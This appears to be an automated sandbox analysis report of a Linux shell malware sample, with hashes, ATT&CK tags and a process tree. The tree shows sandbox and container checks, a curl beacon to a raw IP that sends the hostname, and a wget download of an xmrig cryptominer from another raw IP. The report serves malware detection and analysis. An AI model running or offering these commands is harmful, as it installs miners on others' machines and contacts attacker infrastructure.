cebe849241b9919b4a6a6f7a88b0d6fd700f4052a3fa8f26545428ea3bdcc6de

Analysis

max time kernel
145s
max time network
146s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
10/09/2026, 18:03

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
jaffacakes118_cebe849241b9919b4a6a6f7a88b0d6fd700f4052a3fa8f26545428ea3bdcc6de.bin
Size 1KB
Sample260910-wnchfswvds
SHA256 cebe849241b9919b4a6a6f7a88b0d6fd700f4052a3fa8f26545428ea3bdcc6de
MD5 a25d9b660caf6ec6facd05f48488454b
SHA1 222c8843e1074bb26ec25e72a07af268e9bba4dd
SHA512 75cf560d438361863e3ede20a98b4785effd5a172a67ada9420aeb743c7357e9e7a741b247965844075f4fdfcc5e08504cfd2059ea8bd6f825145dfa57f76647
TLSH
T15F41BD99E574DB303A56982C9EDB5124C60B4167196F3A40FC0D78283F9C52AB1B8B39
MD5 SHA1 SHA512 TLSH

Score

6^/10

antivm discovery

Malware Config

Signatures

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 17 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/722/cmdline	ps
File opened for reading	/proc/303/status	ps
File opened for reading	/proc/564/cmdline	ps
File opened for reading	/proc/834/stat	ps
File opened for reading	/proc/76/status	ps
File opened for reading	/proc/339/cmdline	ps
File opened for reading	/proc/41/stat	ps
File opened for reading	/proc/18/stat	ps
File opened for reading	/proc/789/status	ps
File opened for reading	/proc/814/stat	ps
File opened for reading	/proc/6/cmdline	ps
File opened for reading	/proc/316/cmdline	ps
File opened for reading	/proc/7/cmdline	ps
File opened for reading	/proc/29/stat	ps
File opened for reading	/proc/588/status	ps
File opened for reading	/proc/226/cmdline	ps
File opened for reading	/proc/21/cmdline	ps
File opened for reading	/proc/579/status	ps
File opened for reading	/proc/630/cmdline	ps
File opened for reading	/proc/4/cmdline	ps
File opened for reading	/proc/5/cmdline	ps
File opened for reading	/proc/579/cmdline	ps
File opened for reading	/proc/640/cmdline	ps
File opened for reading	/proc/323/cmdline	ps
File opened for reading	/proc/645/stat	ps
File opened for reading	/proc/23/status	ps
File opened for reading	/proc/577/stat	ps
File opened for reading	/proc/15/cmdline	pgrep
File opened for reading	/proc/3/stat	ps
File opened for reading	/proc/17/status	ps
File opened for reading	/proc/105/status	ps
File opened for reading	/proc/3/stat	ps
File opened for reading	/proc/577/status	ps
File opened for reading	/proc/812/stat	ps
File opened for reading	/proc/821/status	ps
File opened for reading	/proc/642/stat	ps
File opened for reading	/proc/564/cmdline	ps
File opened for reading	/proc/98/stat	ps
File opened for reading	/proc/24/cmdline	ps
File opened for reading	/proc/300/stat	ps
File opened for reading	/proc/643/cmdline	ps
File opened for reading	/proc/98/stat	ps
File opened for reading	/proc/26/stat	ps
File opened for reading	/proc/304/stat	ps
File opened for reading	/proc/26/status	ps
File opened for reading	/proc/564/status	ps
File opened for reading	/proc/9/status	ps
File opened for reading	/proc/640/cmdline	ps
File opened for reading	/proc/5/cmdline	ps
File opened for reading	/proc/5/cmdline	pgrep
File opened for reading	/proc/588/status	pgrep
File opened for reading	/proc/10/stat	ps
File opened for reading	/proc/647/cmdline	ps
File opened for reading	/proc/135/stat	ps
File opened for reading	/proc/29/status	ps
File opened for reading	/proc/107/cmdline	ps
File opened for reading	/proc/15/status	ps
File opened for reading	/proc/14/stat	ps
File opened for reading	/proc/304/stat	ps
File opened for reading	/proc/642/cmdline	ps
File opened for reading	/proc/29/status	ps
File opened for reading	/proc/24/cmdline	ps
File opened for reading	/proc/3/status	ps
File opened for reading	/proc/135/stat	ps

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/xmrig.tar.gz	wget

/tmp/jaffacakes118_cebe849241b9919b4a6a6f7a88b0d6fd700f4052a3fa8f26545428ea3bdcc6de.bin
/tmp/jaffacakes118_cebe849241b9919b4a6a6f7a88b0d6fd700f4052a3fa8f26545428ea3bdcc6de.bin
1⤵
PID:642
- /bin/grep
  grep -v grep
  2⤵
  PID:648
- /bin/grep
  grep -v /tmp/jaffacakes118_cebe849241b9919b4a6a6f7a88b0d6fd700f4052a3fa8f26545428ea3bdcc6de.bin
  2⤵
  PID:649
- /bin/ps
  ps -ef
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:646
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:650
- /bin/grep
  grep /tmp/docker-daemon
  2⤵
  PID:647
- /bin/mkdir
  mkdir -p /tmp/docker-daemon
  2⤵
  PID:668
- /bin/chmod
  chmod 000 /tmp/docker-daemon
  2⤵
  PID:670
- /bin/sleep
  sleep 2
  2⤵
  PID:672
- /bin/ps
  ps -ef
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:719
- /bin/grep
  grep /tmp/docker-daemon
  2⤵
  PID:720
- /bin/grep
  grep -v grep
  2⤵
  PID:721
- /bin/grep
  grep -v /tmp/jaffacakes118_cebe849241b9919b4a6a6f7a88b0d6fd700f4052a3fa8f26545428ea3bdcc6de.bin
  2⤵
  PID:722
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:723
- /bin/sleep
  sleep 2
  2⤵
  PID:728
- /bin/grep
  grep -v grep
  2⤵
  PID:763
- /bin/ps
  ps -ef
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:761
- /bin/grep
  grep -v /tmp/jaffacakes118_cebe849241b9919b4a6a6f7a88b0d6fd700f4052a3fa8f26545428ea3bdcc6de.bin
  2⤵
  PID:764
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:765
- /bin/grep
  grep /tmp/docker-daemon
  2⤵
  PID:762
- /bin/sleep
  sleep 2
  2⤵
  PID:766
- /bin/grep
  grep -v grep
  2⤵
  PID:770
- /bin/grep
  grep -v /tmp/jaffacakes118_cebe849241b9919b4a6a6f7a88b0d6fd700f4052a3fa8f26545428ea3bdcc6de.bin
  2⤵
  PID:771
- /bin/ps
  ps -ef
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:768
- /bin/grep
  grep /tmp/docker-daemon
  2⤵
  PID:769
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:772
- /bin/sleep
  sleep 2
  2⤵
  PID:773
- /bin/grep
  grep /tmp/docker-daemon
  2⤵
  PID:776
- /bin/ps
  ps -ef
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:775
- /bin/grep
  grep -v /tmp/jaffacakes118_cebe849241b9919b4a6a6f7a88b0d6fd700f4052a3fa8f26545428ea3bdcc6de.bin
  2⤵
  PID:778
- /bin/grep
  grep -v grep
  2⤵
  PID:777
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:779
- /bin/sleep
  sleep 2
  2⤵
  PID:780
- /bin/grep
  grep /tmp/docker-daemon
  2⤵
  PID:783
- /bin/grep
  grep -v grep
  2⤵
  PID:784
- /bin/grep
  grep -v /tmp/jaffacakes118_cebe849241b9919b4a6a6f7a88b0d6fd700f4052a3fa8f26545428ea3bdcc6de.bin
  2⤵
  PID:785
- /bin/ps
  ps -ef
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:782
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:786
- /bin/sleep
  sleep 2
  2⤵
  PID:787
- /bin/grep
  grep /tmp/docker-daemon
  2⤵
  PID:790
- /bin/grep
  grep -v /tmp/jaffacakes118_cebe849241b9919b4a6a6f7a88b0d6fd700f4052a3fa8f26545428ea3bdcc6de.bin
  2⤵
  PID:792
- /bin/ps
  ps -ef
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:789
- /bin/grep
  grep -v grep
  2⤵
  PID:791
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:793
- /bin/sleep
  sleep 2
  2⤵
  PID:794
- /bin/ps
  ps -ef
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:798
- /bin/grep
  grep -v grep
  2⤵
  PID:800
- /bin/grep
  grep -v /tmp/jaffacakes118_cebe849241b9919b4a6a6f7a88b0d6fd700f4052a3fa8f26545428ea3bdcc6de.bin
  2⤵
  PID:801
- /bin/grep
  grep /tmp/docker-daemon
  2⤵
  PID:799
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:802
- /bin/sleep
  sleep 2
  2⤵
  PID:803
- /bin/grep
  grep /tmp/docker-daemon
  2⤵
  PID:806
- /bin/grep
  grep -v /tmp/jaffacakes118_cebe849241b9919b4a6a6f7a88b0d6fd700f4052a3fa8f26545428ea3bdcc6de.bin
  2⤵
  PID:808
- /bin/ps
  ps -ef
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:805
- /bin/grep
  grep -v grep
  2⤵
  PID:807
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:809
- /bin/sleep
  sleep 2
  2⤵
  PID:810
- /bin/grep
  grep -v grep
  2⤵
  PID:814
- /bin/grep
  grep /tmp/docker-daemon
  2⤵
  PID:813
- /bin/grep
  grep -v /tmp/jaffacakes118_cebe849241b9919b4a6a6f7a88b0d6fd700f4052a3fa8f26545428ea3bdcc6de.bin
  2⤵
  PID:815
- /bin/ps
  ps -ef
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:812
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:816
- /bin/sleep
  sleep 2
  2⤵
  PID:817
- /bin/grep
  grep /tmp/docker-daemon
  2⤵
  PID:820
- /bin/grep
  grep -v grep
  2⤵
  PID:821
- /bin/ps
  ps -ef
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:819
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:823
- /bin/grep
  grep -v /tmp/jaffacakes118_cebe849241b9919b4a6a6f7a88b0d6fd700f4052a3fa8f26545428ea3bdcc6de.bin
  2⤵
  PID:822
- /bin/sleep
  sleep 2
  2⤵
  PID:824
- /bin/grep
  grep -v grep
  2⤵
  PID:828
- /bin/grep
  grep /tmp/docker-daemon
  2⤵
  PID:827
- /bin/grep
  grep -v /tmp/jaffacakes118_cebe849241b9919b4a6a6f7a88b0d6fd700f4052a3fa8f26545428ea3bdcc6de.bin
  2⤵
  PID:829
- /bin/ps
  ps -ef
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:826
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:830
- /bin/sleep
  sleep 2
  2⤵
  PID:831
- /bin/ps
  ps -ef
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:836
- /bin/grep
  grep /tmp/docker-daemon
  2⤵
  PID:837
- /bin/grep
  grep -v /tmp/jaffacakes118_cebe849241b9919b4a6a6f7a88b0d6fd700f4052a3fa8f26545428ea3bdcc6de.bin
  2⤵
  PID:839
- /bin/grep
  grep -v grep
  2⤵
  PID:838
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:840
- /bin/sleep
  sleep 2
  2⤵
  PID:841
- /bin/grep
  grep -v grep
  2⤵
  PID:845
- /bin/grep
  grep /tmp/docker-daemon
  2⤵
  PID:844
- /bin/ps
  ps -ef
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:843
- /bin/grep
  grep -v /tmp/jaffacakes118_cebe849241b9919b4a6a6f7a88b0d6fd700f4052a3fa8f26545428ea3bdcc6de.bin
  2⤵
  PID:846
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:847
- /bin/sleep
  sleep 2
  2⤵
  PID:848
- /bin/grep
  grep -v grep
  2⤵
  PID:855
- /bin/ps
  ps -ef
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:853
- /bin/grep
  grep -v /tmp/jaffacakes118_cebe849241b9919b4a6a6f7a88b0d6fd700f4052a3fa8f26545428ea3bdcc6de.bin
  2⤵
  PID:856
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:857
- /bin/grep
  grep /tmp/docker-daemon
  2⤵
  PID:854
- /bin/grep
  grep -qE "(docker|overlay)" /proc/1/cgroup
  2⤵
  PID:858
- /usr/bin/tr
  tr -cd a-zA-Z0-9_-
  2⤵
  PID:861
- /bin/hostname
  hostname
  2⤵
  PID:860
- /usr/bin/curl
  curl -s -m 3 "http://31.57.46.28:8999/?secret=true_check&id=debian9-armhf-20260513-en-3"
  2⤵
  - Checks CPU configuration
  PID:862
- /bin/date
  date "+%s"
  2⤵
  PID:863
- /usr/bin/pgrep
  pgrep -x xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:864
- /usr/bin/pgrep
  pgrep -x hash
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:865
- /usr/bin/wget
  wget -O xmrig.tar.gz http://217.60.248.186/xmrig-6.21.0-linux-static-x64.tar.gz
  2⤵
  - Writes file to tmp directory
  PID:866

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads